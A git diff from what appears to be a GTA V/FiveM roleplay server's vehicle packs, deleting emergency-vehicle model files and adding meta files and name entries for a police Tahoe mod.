b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_horn1.yft deleted file mode 100644 index 71ec78a4e..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_horn1.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:bb92083d629e3d76456755e8bb5f9e631b9f8e240eb3f1a2b0103e9f55a7f77e -size 69989 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_horn2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_horn2.yft deleted file mode 100644 index 94e6ba873..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_horn2.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:7496c8bd6c612b12da11e319717162be20a597416d7eaf550bacd224c513bed2 -size 66597 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_laptop2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_laptop2.yft deleted file mode 100644 index b4fee4767..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_laptop2.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:e3da81fe3f83276ca240e31fa612d7d08aaaf19baf9e0df116a03d88b834fdcd -size 51515 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_lfturnsig.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_lfturnsig.yft deleted file mode 100644 index 819337a8d..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_lfturnsig.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:e08669361395ffe2e4ce8265c3a186c7f77567f98d118e296d496564296e4376 -size 122685 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_opticom.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_opticom.yft deleted file mode 100644 index 3e9e92d8c..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_opticom.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:3e8387e4c7c8ab415a5f2aeaf72f01ce31defaaafd3c96bfc8a7dc68677edbc6 -size 43435 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_rearop2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_rearop2.yft deleted file mode 100644 index c5d472177..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_rearop2.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:01a9beae7f7ec52ea58ae90d9fad9db1446abd736b63f65f9821ee5ed218fa3a -size 2759 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_rfturnsig.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_rfturnsig.yft deleted file mode 100644 index 6d8b5dfb6..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_rfturnsig.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:c67b760c051d45298cbacfc582bf7f8eb17d7dc04570fe4356f43bc05bd344c5 -size 124404 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_xltb.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_xltb.yft deleted file mode 100644 index 7780c979a..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_xltb.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:d6d83ca324411afae4a966379d26987bc4575c9bb7f89a3d0fe751fb33eee165 -size 9885 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_xltscreen.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_xltscreen.yft deleted file mode 100644 index 1dc59d94e..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_xltscreen.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:403bd7bc5496e6d6b03328b0baf19489f0b12379b2418686fc102d11b39e6b4c -size 58881 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/misc_rear.ycd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/misc_rear.ycd deleted file mode 100644 index 00fcc472e..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/misc_rear.ycd and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/runningboards_f450ambo.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/runningboards_f450ambo.yft deleted file mode 100644 index 40156b623..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/runningboards_f450ambo.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:c5126b124f6225b17e7dde075d3e3ef305c6d60781866e0edf38a681c6896e7a -size 104311 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan.yft deleted file mode 100644 index 35f3b452c..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:6e8f5ba6fb8394c48fc189b21354abc891f1235c3e8ed09a073f1e1f16c30995 -size 10064831 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan.ytd deleted file mode 100644 index a6ced149d..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:1d93c61caf53291a630aa21cffaffa234b8c07e544553dbdeec7703597590436 -size 6777168 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan_hi.yft deleted file mode 100644 index 6f415846b..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/gcVan/gcVan_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:061d54fe4ad193f01ab78e46da99dc282efeb648f7c3e880e49e59b62277f616 -size 10064747 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/leg19yF150/leg19yF150+hi.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/leg19yF150/leg19yF150+hi.ytd index 477461623..52d3800d8 100644 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/leg19yF150/leg19yF150+hi.ytd +++ b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/leg19yF150/leg19yF150+hi.ytd @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:9d81400dd8fc9db11eee5b0116d9bbf4d17de38847852b079eaa589c17a6901e -size 1059113 +oid sha256:a402b5809ca3453b5ae4cba4a17512f35f3e796897a71e7bc1342fee297031af +size 1059174 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/leg19yF150/leg19yF150.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/leg19yF150/leg19yF150.ytd index 154a07593..f1b35dda2 100644 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/leg19yF150/leg19yF150.ytd +++ b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/leg19yF150/leg19yF150.ytd @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:5480f0cbda99dbdbb1cf87e33345d69d9209c2637946d24dfe0ccf674709eb38 -size 15899724 +oid sha256:1e382999f08ab2a628c4ba74a69a93e8ede0189deec900a1a839d4f4dd186d3f +size 15901202 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/ninja_sign_template.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/ninja_sign_template.png deleted file mode 100644 index 54deda1f4..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/ninja_sign_template.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja.yft deleted file mode 100644 index 80932fe05..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:2934fb364819364a126e978bc7cb2199d2883795135503ef87c9d51187159202 -size 10561916 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja.ytd deleted file mode 100644 index 6d2a1403f..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:1a285cb32f66a8c1a3179b5cc9a23d1062ca5a76feff0c80f646e577ea2775f5 -size 6507126 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja_hi.yft deleted file mode 100644 index 6e070dc5b..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/rfw_ninja/rfw_ninja_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:15b175e42a9cd5196967ca6e759107ee29757019c53c00efc8a924b4ff2be51c -size 10561864 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng.yft deleted file mode 100644 index ce1844d19..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:e7618a62a490c13a95ef845909b39ab074d55b363e187899e78acf8a2d7f6e54 -size 4562608 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng.ytd deleted file mode 100644 index 5d64a2e56..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:5efd9aae013262e289d58913dbf1b6de4194fb772589f63693987ae4d526c06c -size 10169212 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng_hi.yft deleted file mode 100644 index 29044afc8..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/roseneng/roseneng_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:d24dadc22c45bd448dcea9f522ef5ddad6662113287daf8264b6ab81150fbe6e -size 3965127 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit.yft deleted file mode 100644 index a46da5cc9..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:bc2e8965485a1e73a14865993b747f5135741086dbc389ee8e831581f621c8a8 -size 2966997 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit.ytd deleted file mode 100644 index 591e3950c..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:955a1c9e08d3dcc5e508a14479ddfd2c3f1901731d7c3de1899b9f87f7b84a51 -size 2302852 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit_hi.yft deleted file mode 100644 index 068f6c202..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/suburbanfbit/suburbanfbit_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:9a01dc530f428b099108b09f1bfbd1e339e263a3b73f1b922fe16ceb73a6b92f -size 2643295 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/vehicle_names.lua b/resources/[EGRP-CarPacks]/EGRP-Emergency/vehicle_names.lua index 416026c65..685edf41c 100644 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/vehicle_names.lua +++ b/resources/[EGRP-CarPacks]/EGRP-Emergency/vehicle_names.lua @@ -15,69 +15,7 @@ Citizen.CreateThread(function() AddTextEntry('enladder', 'Pierce Enforce Ladder') -- silvfire AddTextEntry('silvfire', '2017 Chevrolet Silverado 1500 FD') - -- code3bmw - AddTextEntry('code3bmw', 'BMW Motor bike') - -- code3boat - AddTextEntry('code3boat', 'PD BOAT') - -- code3camero - AddTextEntry('code3camero', 'Chevy Camaro20') - -- code3cap - AddTextEntry('code3cap', '15 Chevy Caprice') - -- code3cvpi - AddTextEntry('code3cvpi', '2011 Ford cvpi') - -- code3durango - AddTextEntry('code3durango', '2020 Dodge durango') - -- code3f150 - AddTextEntry('code3f150', '2019 ford f150') - -- code3f250 - AddTextEntry('code3f250', '2019 ford f250') - -- code3fpis - AddTextEntry('code3fpis', '2018 ford taurus') - -- code3gator - AddTextEntry('code3gator', 'John Deere Gator') - -- code3harley - AddTextEntry('code3harley', 'Harley Davidson') - -- code3mustang - AddTextEntry('code3mustang', '2019 Ford Mustang') - -- code3ram - AddTextEntry('code3ram', '2016 Dodge Ram') - --code3silverado - AddTextEntry('code3silverado', '2016 chevy silverado') - -- code3trailer - AddTextEntry('code3trailer', 'pd trailer') - -- code3trailer2 - AddTextEntry('code3trailer2', 'PD trailer2') - -- code310charg - AddTextEntry('code310charg', '2010 Dodge Charger') - -- code314charg - AddTextEntry('code314charg', '2014 Dodge Charger') - -- code314tahoe - AddTextEntry('code314tahoe', '2014 Chevy Tahoe') - -- code316fpiu - AddTextEntry('code316fpiu', '2016 Ford Explorer') - -- code316impala - AddTextEntry('code316impala', '2016 Chevy Impala') - -- code318charg - AddTextEntry('code318charg', '2018 Dodge Charger') - -- code318chargk9 - AddTextEntry('code318chargk9', '9K2018 Dodge Charger') - -- code318tahoe - AddTextEntry('code318tahoe', '2020 Chevy Tahoe') - -- code318tahoek9 - AddTextEntry('code318tahoek9', '2020 Chevy K9Tahoe') - -- code319silv - AddTextEntry('code319silv', '2020 Chevy silverado') - -- code320exp - AddTextEntry('code320exp', '2020 Ford Explorer') - -- e450ambo - AddTextEntry('e450ambo', '2020 Ford e450ambo') - -- 20ramambo - AddTextEntry('20ramambo', '2020 Dodge Ramambo') - -- code321tahoe - AddTextEntry('code321tahoe', 'Chevy Tahoe 2021') - -- f450ambo - AddTextEntry('f450ambo', 'Ford Ambulance f450 2020') - -- rescue1 + -- rescue1 AddTextEntry('rescue1', 'Pierce Rescue 2020') -- 14tahoe AddTextEntry('14tahoe', 'Chevy tahoe 2014 FD') @@ -155,8 +93,6 @@ Citizen.CreateThread(function() AddTextEntry('minivan69', '2016 Honda Odyssey') --2022GenericFireTruckPack AddTextEntry('2022GenericFireTruckPack', '2022GenericFireTruckPack') - -- mrap - AddTextEntry('mrap', 'mrap 2020 ') -- gt24non AddTextEntry('gt24non', 'Ford Mustang 2024') -- diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/__resource.lua b/resources/[EGRP-CarPacks]/EGRP-Extras/__resource.lua index 6e227849b..97f1d28dc 100644 --- a/resources/[EGRP-CarPacks]/EGRP-Extras/__resource.lua +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/__resource.lua @@ -287,20 +287,20 @@ resource_manifest_version '77731fab-63ca-442c-a67b-abc70f28dfa5' data_file 'VEHICLE_VARIATION_FILE' 'data/rfw_ninja/carvariations.meta' data_file 'VEHICLE_LAYOUTS_FILE' 'data/rfw_ninja/dlctext.meta' - -- + -- nxsmods21tah files { - 'data/ /vehicles.meta', - 'data/ /carvariations.meta', - 'data/ /carcols.meta', - 'data/ /handling.meta', - 'data/ /vehiclelayouts.meta' + 'data/nxsmods21tah/vehicles.meta', + 'data/nxsmods21tah/carvariations.meta', + 'data/nxsmods21tah/carcols.meta', + 'data/nxsmods21tah/handling.meta', + 'data/nxsmods21tah/vehiclelayouts.meta' } - data_file 'HANDLING_FILE' 'data/ /handling.meta' - data_file 'VEHICLE_METADATA_FILE' 'data/ /vehicles.meta' - data_file 'CARCOLS_FILE' 'data/ /carcols.meta' - data_file 'VEHICLE_VARIATION_FILE' 'data/ /carvariations.meta' - data_file 'VEHICLE_LAYOUTS_FILE' 'data/ /dlctext.meta' + data_file 'HANDLING_FILE' 'data/nxsmods21tah/handling.meta' + data_file 'VEHICLE_METADATA_FILE' 'data/nxsmods21tah/vehicles.meta' + data_file 'CARCOLS_FILE' 'data/nxsmods21tah/carcols.meta' + data_file 'VEHICLE_VARIATION_FILE' 'data/nxsmods21tah/carvariations.meta' + data_file 'VEHICLE_LAYOUTS_FILE' 'data/nxsmods21tah/dlctext.meta' -- files { diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/data/23gsbb/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Extras/data/23gsbb/vehicles.meta index fed7330c5..84920f793 100644 --- a/resources/[EGRP-CarPacks]/EGRP-Extras/data/23gsbb/vehicles.meta +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/data/23gsbb/vehicles.meta @@ -15,7 +15,7 @@ null null - NINEF + lg125mnsrybently LAYOUT_STD_LOWROOF STANIER_COVER_OFFSET_INFO EXPLOSION_INFO_DEFAULT diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/carcols.meta new file mode 100644 index 000000000..e9199416a --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/carcols.meta @@ -0,0 +1,1581 @@ + + + + + + 952_nxsmods21tah_modkit + + MKT_STANDARD + + + 21tah_antenna1 + TAHANTENNA1 + + VMT_TRUNK + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_antenna2 + TAHANTENNA2 + + VMT_TRUNK + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_antenna3 + TAHANTENNA3 + + VMT_TRUNK + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_antenna4 + TAHANTENNA4 + + VMT_TRUNK + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_antenna5 + TAHANTENNA5 + + VMT_TRUNK + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_hoodup + HOODUP1 + + misc_u + + VMT_DOOR_L + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_centerconsole + POLICE_PARTITION + + misc_p + + VMT_CHASSIS + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_tech + POLICE_TECH + + misc_y + + VMT_ICE + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_window + POLICE_WINDOW + + misc_z + misc_x + + VMT_INTERIOR1 + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_pushbar + POLICE_PUSHBAR + + VMT_KNOB + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_pushbar1 + POLICE_PUSHBAR1 + + VMT_KNOB + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_pushbar2 + POLICE_PUSHBAR2 + + VMT_KNOB + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_k9cage + K9CAGE + + misc_v + + VMT_SEATS + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_blackalpr + BLACKALPR + + VMT_PLTVANITY + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_whitealpr + WHITEALPR + + VMT_PLTVANITY + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_name1 + NAME1 + + VMT_WING_L + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_name2 + NAME2 + + VMT_WING_L + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_name3 + NAME3 + + VMT_WING_L + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_name4 + NAME4 + + VMT_WING_L + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_name5 + NAME5 + + VMT_WING_L + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_roofpuck + ROOFPUCK1 + + VMT_WING_R + chassis + chassis + VMCP_DEFAULT + + + + + + + + 21tah_roofrack + ROOFRACK + + VMT_HYDRO + chassis + chassis + VMCP_DEFAULT + + + + + + + + + + + + + + + + + VMT_ENGINE + + + + + + + VMT_ENGINE + + + + + + + VMT_ENGINE + + + + + + + VMT_ENGINE + + + + + + + VMT_BRAKES + + + + + + + VMT_BRAKES + + + + + + + VMT_BRAKES + + + + + + + VMT_GEARBOX + + + + + + + VMT_GEARBOX + + + + + + + VMT_GEARBOX + + + + + + + VMT_ARMOUR + + + + + + + VMT_ARMOUR + + + + + + + VMT_ARMOUR + + + + + + + VMT_ARMOUR + + + + + + + VMT_ARMOUR + + + HORN_TRUCK + + + + VMT_HORN + + + HORN_COP + + + + VMT_HORN + + + HORN_CLOWN + + + + VMT_HORN + + + HORN_MUSICAL_1 + + + + VMT_HORN + + + HORN_MUSICAL_2 + + + + VMT_HORN + + + HORN_MUSICAL_3 + + + + VMT_HORN + + + HORN_MUSICAL_4 + + + + VMT_HORN + + + HORN_MUSICAL_5 + + + + VMT_HORN + + + HORN_SAD_TROMBONE + + + + VMT_HORN + + + MUSICAL_HORN_BUSINESS_1 + + + + VMT_HORN + + + MUSICAL_HORN_BUSINESS_2 + + + + VMT_HORN + + + MUSICAL_HORN_BUSINESS_3 + + + + VMT_HORN + + + MUSICAL_HORN_BUSINESS_4 + + + + VMT_HORN + + + MUSICAL_HORN_BUSINESS_5 + + + + VMT_HORN + + + MUSICAL_HORN_BUSINESS_6 + + + + VMT_HORN + + + MUSICAL_HORN_BUSINESS_7 + + + + VMT_HORN + + + DLC_BUSI2_C_MAJOR_NOTES_C0 + + + + VMT_HORN + + + DLC_BUSI2_C_MAJOR_NOTES_D0 + + + + VMT_HORN + + + DLC_BUSI2_C_MAJOR_NOTES_E0 + + + + VMT_HORN + + + DLC_BUSI2_C_MAJOR_NOTES_F0 + + + + VMT_HORN + + + DLC_BUSI2_C_MAJOR_NOTES_G0 + + + + VMT_HORN + + + DLC_BUSI2_C_MAJOR_NOTES_A0 + + + + VMT_HORN + + + DLC_BUSI2_C_MAJOR_NOTES_B0 + + + + VMT_HORN + + + DLC_BUSI2_C_MAJOR_NOTES_C1 + + + + VMT_HORN + + + HIPSTER_HORN_1 + + + + VMT_HORN + + + HIPSTER_HORN_2 + + + + VMT_HORN + + + HIPSTER_HORN_3 + + + + VMT_HORN + + + HIPSTER_HORN_4 + + + + VMT_HORN + + + INDEP_HORN_1 + + + + VMT_HORN + + + INDEP_HORN_2 + + + + VMT_HORN + + + INDEP_HORN_3 + + + + VMT_HORN + + + INDEP_HORN_4 + + + + VMT_HORN + + + LUXE_HORN_1 + + + + VMT_HORN + + + LUXE_HORN_2 + + + + VMT_HORN + + + LUXE_HORN_3 + + + + VMT_HORN + + + + LUXORY_HORN_1 + + + + VMT_HORN + + + + LUXURY_HORN_2 + + + + VMT_HORN + + + + LUXURY_HORN_3 + + + + VMT_HORN + + + + + + + VMT_SUSPENSION + + + + + + + VMT_SUSPENSION + + + + + + + VMT_SUSPENSION + + + + + + + VMT_SUSPENSION + + + + + VMT_SKIRT + Hitch + + + VMT_CHASSIS + Cage + + + VMT_PLTHOLDER + Grill + + + VMT_PLTVANITY + ALPR + + + VMT_INTERIOR1 + Window Cover + + + VMT_SEATS + K9 Cage + + + VMT_KNOB + Pushbars + + + VMT_PLAQUE + Grill Trim + + + VMT_ICE + Equipment + + + VMT_WING_R + Puck + + + VMT_DOOR_L + Hood + + + VMT_WING_L + Rank Title + + + + + + + + + + + + + + + + + + + + + + + + + + + nxsmods21tah + + + + + + + VehicleLight_sirenlight + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/carvariations.meta b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/carvariations.meta similarity index 87% rename from resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/carvariations.meta rename to resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/carvariations.meta index f0a9e7692..4999d649f 100644 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/carvariations.meta +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/carvariations.meta @@ -1,13 +1,13 @@ - - + + - - - gcVan - + + + nxsmods21tah + - 134 + 6 134 0 0 @@ -25,7 +25,7 @@ - 134 + 6 134 0 0 @@ -43,7 +43,7 @@ - 134 + 6 134 0 0 @@ -61,7 +61,7 @@ - 134 + 6 134 0 0 @@ -79,7 +79,7 @@ - 134 + 6 134 0 0 @@ -96,7 +96,7 @@ - 134 + 6 134 0 0 @@ -114,7 +114,7 @@ - 134 + 6 134 0 0 @@ -132,7 +132,7 @@ - 134 + 6 134 0 0 @@ -150,14 +150,19 @@ - 0_default_modkit + 952_nxsmods21tah_modkit - + + + Police guv plate + + + - - + + \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/handling.meta b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/handling.meta new file mode 100644 index 000000000..664eac846 --- /dev/null +++ b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/handling.meta @@ -0,0 +1,63 @@ + + + + + + nxsmods21tah + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 80220010 + 22420000 + 10 + AVERAGE + + + + + + + + diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/tahoe71_sign_1.dds b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/tahoe71_sign_1.dds new file mode 100644 index 000000000..233ba51a5 Binary files /dev/null and b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/tahoe71_sign_1.dds differ diff --git 